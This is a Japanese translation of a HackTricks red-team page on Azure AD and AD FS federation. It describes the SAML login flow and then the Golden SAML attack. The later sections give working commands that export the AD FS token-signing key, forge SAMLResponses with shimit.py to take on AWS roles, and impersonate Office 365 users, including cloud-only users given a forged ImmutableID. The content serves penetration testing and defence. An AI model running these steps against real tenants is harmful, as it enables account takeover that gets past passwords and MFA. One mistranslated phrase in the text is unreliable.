Az - Federation

htARTE(HackTricks AWS Red Team Expert)を通じて、ゼロからヒーローまでAWSハッキングを学びましょう!

HackTricksをサポートする他の方法:

基本情報

ドキュメントから: フェデレーションは、信頼を確立したドメインの集まりです。信頼レベルは異なる場合がありますが、通常は認証を含み、ほぼ常に承認を含みます。典型的なフェデレーションには、共有アクセスのために信頼を確立した複数の組織が含まれる場合があります。

オンプレミス環境をAzure ADとフェデレートし、このフェデレーションを認証および承認に使用できます。このサインイン方法により、すべてのユーザの認証がオンプレミスで発生することが保証されます。この方法により、管理者はより厳格なアクセス制御レベルを実装できます。AD FSおよびPingFederateとのフェデレーションが利用可能です。

基本的に、フェデレーションでは、すべての認証オンプレミス環境で発生し、ユーザは信頼されたすべての環境でSSOを体験します。したがって、ユーザはオンプレミスの資格情報を使用してクラウドアプリケーションにアクセスできます。

セキュリティアサーションマークアップ言語(SAML)は、プロバイダ間で認証および承認の情報を交換するために使用されます。

フェデレーションのセットアップでは、次の3つの当事者があります:

  • ユーザまたはクライアント

  • Identity Provider(IdP)

  • Service Provider(SP)

(画像はhttps://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-appsから)

  1. 最初に、ユーザがアプリケーション(Service ProviderまたはSP、例:AWSコンソールまたはvSphere Web Client)にアクセスします。特定の実装によっては、このステップをバイパスして、クライアントを直接IdP(Identity Provider)にリダイレクトすることがあります。

  2. 次に、SPはユーザ認証のために適切なIdP(例:AD FS、Okta)を特定します。その後、SAML(Security Assertion Markup Language)AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。

  3. IdPが引き継ぎ、ユーザを認証します。認証後、IdPによってSAMLResponseが作成され、ユーザを介してSPに転送されます。

  4. 最後に、SPはSAMLResponseを評価します。IdPとの信頼関係を示す正常な検証が行われた場合、ユーザにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザがサービスを利用できるようになります。

SAML認証と一般的な攻撃について詳しく学びたい場合は、次のリンクにアクセスしてください:

ピボット

  • AD FSはクレームベースのアイデンティティモデルです。

  • "..クレームは、主にインターネット上のどこにでもあるクレームベースのアプリケーションへのアクセスを承認するために使用される、ユーザについての単純なステートメント(たとえば、名前、アイデンティティ、グループ)です。"

  • ユーザのクレームはSAMLトークン内に記述され、IdPによって機密性を提供するために署名されます。

  • ユーザはImmutableIDによって識別されます。これはグローバルに一意であり、Azure ADに格納されています。

  • ImmutableIDは、ユーザのGUIDから導出されるか、ユーザのためにオンプレミスで保持されるConsistencyGuidとして格納されます。

Golden SAML攻撃:

  • ADFSでは、SAMLレスポンスはトークン署名証明書によって署名されます。

  • 証明書が侵害されると、Azure ADに同期された任意のユーザとして認証することが可能です!

  • PTAの悪用と同様に、ユーザのパスワード変更やMFAは効果がありません。なぜなら、認証応答を偽造しているからです。

  • 証明書はDA権限を持つAD FSサーバから抽出し、その後、インターネットに接続された任意のマシンから使用できます。

Golden SAML

Identity Provider(IdP)がユーザサインインを承認するためにSAMLResponseを生成するプロセスが重要です。IdPの特定の実装によっては、レスポンスIdPのプライベートキーを使用して署名または暗号化される場合があります。この手順により、Service Provider(SP)はSAMLResponseの信頼性を確認し、それが信頼されたIdPによって発行されたことを確認します。

これは、ゴールデンチケット攻撃と類似しており、ユーザのアイデンティティと権限を認証するキー(ゴールデンチケットの場合はKRBTGT、ゴールデンSAMLの場合はトークン署名プライベートキー)を操作して、認証オブジェクト(TGTまたはSAMLResponse)を偽造できます。これにより、任意のユーザをなりすまし、SPへの不正アクセスが可能になります。

Golden SAMLには次の利点があります:

  • リモートで作成できます。対象のドメインやフェデレーションに属する必要はありません。

  • 二要素認証(2FA)が有効でも有効です。

  • トークン署名プライベートキーは自動的に更新されません

  • ユーザのパスワードを変更しても、すでに生成されたSAMLは無効になりません

AWS + AD FS + Golden SAML

Active Directory Federation Services(AD FS)は、信頼されたビジネスパートナー間でアイデンティティ情報を安全に交換するためのMicrosoftサービスです(フェデレーション)。これにより、ドメインサービスがフェデレーション内の他のサービスプロバイダとユーザアイデンティティを共有できます。

AWSが侵害されたドメインを信頼している場合、この脆弱性を利用して、AWS環境で任意の権限を取得する可能性があります。攻撃には、SAMLオブジェクトに署名するために使用されるプライベートキーが必要であり、これはゴールデンチケット攻撃でのKRBTGTと同様です。このプライベートキーを取得するには、AD FSユーザアカウントへのアクセスが必要です。

Golden SAML攻撃を実行するための要件は次のとおりです:

  • トークン署名プライベートキー

  • IdP公開証明書

  • IdP名

  • ロール名(アサインするロール)

  • ドメイン\ユーザ名

  • AWSでのロールセッション名

  • AmazonアカウントID

太字で表示されている項目のみが必須です。他の項目は必要に応じて入力できます。

プライベートキーを取得するには、AD FSユーザアカウントへのアクセスが必要です。そこから、mimikatzなどのツールを使用して、プライベートキーをパーソナルストアからエクスポートできます。他に必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを使用し、ADFSユーザとしてログインしていることを確認します。

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

すべての情報を持っていると、shimitを使用してなりすまししたいユーザーの有効なSAMLResponseを忘れる可能性があります:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

オンプレミス -> クラウド

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

ImmutableIDを作成し、クラウド専用ユーザーを偽装することも可能です。

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

参考

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

最終更新